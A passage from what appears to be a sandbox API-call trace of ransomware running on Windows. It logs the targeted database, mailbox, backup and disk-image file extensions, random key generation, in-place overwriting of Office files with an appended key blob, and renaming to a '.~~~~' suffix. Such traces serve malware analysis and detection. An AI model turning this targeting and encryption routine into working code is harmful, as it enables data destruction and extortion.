	[0081.797] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.797] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.797] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.797] CloseHandle (hObject=0x128) returned 1
	[0081.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.808] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.~~~~")) returned 1
	[0081.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.877] GetLastError () returned 0x0
	[0081.877] RtlWakeConditionVariable () returned 0x365f70
	[0081.877] GetCurrentThreadId () returned 0x3a4
	[0081.877] GetCurrentThreadId () returned 0x3a4
	[0081.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f14a8
	[0081.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f04a0 | out: hHeap=0x300000) returned 1
	[0081.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe718 | out: hHeap=0x300000) returned 1
	[0081.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f04a0
	[0081.878] lstrlenW (lpString=".scr") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".scr") returned 0x0
	[0081.878] lstrlenW (lpString=".cmd") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".cmd") returned 0x0
	[0081.878] lstrlenW (lpString=".dll") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dll") returned 0x0
	[0081.878] lstrlenW (lpString=".bat") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".bat") returned 0x0
	[0081.878] lstrlenW (lpString=".cpl") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".cpl") returned 0x0
	[0081.878] lstrlenW (lpString=".sys") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".sys") returned 0x0
	[0081.878] lstrlenW (lpString=".msc") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".msc") returned 0x0
	[0081.878] lstrlenW (lpString=".com") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".com") returned 0x0
	[0081.878] lstrlenW (lpString=".lnk") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".lnk") returned 0x0
	[0081.878] lstrlenW (lpString=".msp") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".msp") returned 0x0
	[0081.878] lstrlenW (lpString=".pif") returned 4
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".pif") returned 0x0
	[0081.878] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0081.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.879] lstrlenW (lpString=".sqb") returned 4
	[0081.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".sqb") returned 0x0
	[0081.879] lstrlenW (lpString=".ost") returned 4
	[0081.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".ost") returned 0x0
	[0081.879] lstrlenW (lpString=".txt") returned 4
	[0081.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".txt") returned 0x0
	[0081.880] lstrlenW (lpString=".mdt") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".mdt") returned 0x0
	[0081.880] lstrlenW (lpString=".BDB") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".BDB") returned 0x0
	[0081.880] lstrlenW (lpString=".eql") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".eql") returned 0x0
	[0081.880] lstrlenW (lpString=".DBF") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DBF") returned 0x0
	[0081.880] lstrlenW (lpString=".EQL") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".EQL") returned 0x0
	[0081.880] lstrlenW (lpString=".FDB") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".FDB") returned 0x0
	[0081.880] lstrlenW (lpString=".EDB") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".EDB") returned 0x0
	[0081.880] lstrlenW (lpString=".DACPAC") returned 7
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DACPAC") returned 0x0
	[0081.880] lstrlenW (lpString=".VHD") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".VHD") returned 0x0
	[0081.880] lstrlenW (lpString=".DBV") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DBV") returned 0x0
	[0081.880] lstrlenW (lpString=".dacpac") returned 7
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dacpac") returned 0x0
	[0081.880] lstrlenW (lpString=".sdf") returned 4
	[0081.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".sdf") returned 0x0
	[0081.880] lstrlenW (lpString=".accdb") returned 6
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".accdb") returned 0x0
	[0081.881] lstrlenW (lpString=".DBX") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DBX") returned 0x0
	[0081.881] lstrlenW (lpString=".MDT") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".MDT") returned 0x0
	[0081.881] lstrlenW (lpString=".SQB") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".SQB") returned 0x0
	[0081.881] lstrlenW (lpString=".vhd") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".vhd") returned 0x0
	[0081.881] lstrlenW (lpString=".bac") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".bac") returned 0x0
	[0081.881] lstrlenW (lpString=".mdf") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".mdf") returned 0x0
	[0081.881] lstrlenW (lpString=".BAK") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".BAK") returned 0x0
	[0081.881] lstrlenW (lpString=".BAC") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".BAC") returned 0x0
	[0081.881] lstrlenW (lpString=".dbs") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dbs") returned 0x0
	[0081.881] lstrlenW (lpString=".vhdx") returned 5
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".vhdx") returned 0x0
	[0081.881] lstrlenW (lpString=".NDF") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".NDF") returned 0x0
	[0081.881] lstrlenW (lpString=".dat") returned 4
	[0081.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dat") returned 0x0
	[0081.881] lstrlenW (lpString=".DBS") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DBS") returned 0x0
	[0081.882] lstrlenW (lpString=".CKP") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".CKP") returned 0x0
	[0081.882] lstrlenW (lpString=".edb") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".edb") returned 0x0
	[0081.882] lstrlenW (lpString=".PST") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".PST") returned 0x0
	[0081.882] lstrlenW (lpString=".dbf") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dbf") returned 0x0
	[0081.882] lstrlenW (lpString=".SQL") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".SQL") returned 0x0
	[0081.882] lstrlenW (lpString=".pst") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".pst") returned 0x0
	[0081.882] lstrlenW (lpString=".dbv") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dbv") returned 0x0
	[0081.882] lstrlenW (lpString=".SDF") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".SDF") returned 0x0
	[0081.882] lstrlenW (lpString=".dtxs") returned 5
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dtxs") returned 0x0
	[0081.882] lstrlenW (lpString=".db3") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".db3") returned 0x0
	[0081.882] lstrlenW (lpString=".OST") returned 4
	[0081.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".OST") returned 0x0
	[0081.883] lstrlenW (lpString=".dbx") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dbx") returned 0x0
	[0081.883] lstrlenW (lpString=".DB3") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DB3") returned 0x0
	[0081.883] lstrlenW (lpString=".DAT") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DAT") returned 0x0
	[0081.883] lstrlenW (lpString=".VHDX") returned 5
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".VHDX") returned 0x0
	[0081.883] lstrlenW (lpString=".ndf") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".ndf") returned 0x0
	[0081.883] lstrlenW (lpString=".DB") returned 3
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DB") returned 0x0
	[0081.883] lstrlenW (lpString=".sql") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".sql") returned 0x0
	[0081.883] lstrlenW (lpString=".MYD") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".MYD") returned 0x0
	[0081.883] lstrlenW (lpString=".DBT") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DBT") returned 0x0
	[0081.883] lstrlenW (lpString=".ACCDB") returned 6
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".ACCDB") returned 0x0
	[0081.883] lstrlenW (lpString=".fdb") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".fdb") returned 0x0
	[0081.883] lstrlenW (lpString=".bak") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".bak") returned 0x0
	[0081.883] lstrlenW (lpString=".myd") returned 4
	[0081.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".myd") returned 0x0
	[0081.884] lstrlenW (lpString=".DTXS") returned 5
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".DTXS") returned 0x0
	[0081.884] lstrlenW (lpString=".ckp") returned 4
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".ckp") returned 0x0
	[0081.884] lstrlenW (lpString=".dbt") returned 4
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".dbt") returned 0x0
	[0081.884] lstrlenW (lpString=".db") returned 3
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".db") returned 0x0
	[0081.884] lstrlenW (lpString=".TXT") returned 4
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".TXT") returned 0x0
	[0081.884] lstrlenW (lpString=".MDF") returned 4
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".MDF") returned 0x0
	[0081.884] lstrlenW (lpString=".bdb") returned 4
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".bdb") returned 0x0
	[0081.884] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.884] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.885] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.885] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0081.886] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20187564741) returned 1
	[0081.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9aa8ae50, dwHighDateTime=0x1d60e1e)) 
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe718
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe718 | out: hHeap=0x300000) returned 1
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.886] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.886] GetLastError () returned 0x0
	[0081.886] GetLastError () returned 0x0
	[0081.887] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.887] GetLastError () returned 0x0
	[0081.887] GetLastError () returned 0x0
	[0081.887] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x3d60, lpOverlapped=0x0) returned 1
	[0081.906] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc2a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.906] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x3d60, lpOverlapped=0x0) returned 1
	[0081.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.909] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.909] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.909] CloseHandle (hObject=0x128) returned 1
	[0081.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f1580
	[0081.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.~~~~")) returned 1
	[0081.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1580 | out: hHeap=0x300000) returned 1
	[0081.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.910] GetLastError () returned 0x0
	[0081.910] RtlWakeConditionVariable () returned 0x365f70
	[0081.910] GetCurrentThreadId () returned 0x3a4
	[0081.910] GetCurrentThreadId () returned 0x3a4
	[0081.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3d38
	[0081.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ec8 | out: hHeap=0x300000) returned 1
	[0081.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe788 | out: hHeap=0x300000) returned 1
	[0081.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ec8
	[0081.911] lstrlenW (lpString=".scr") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".scr") returned 0x0
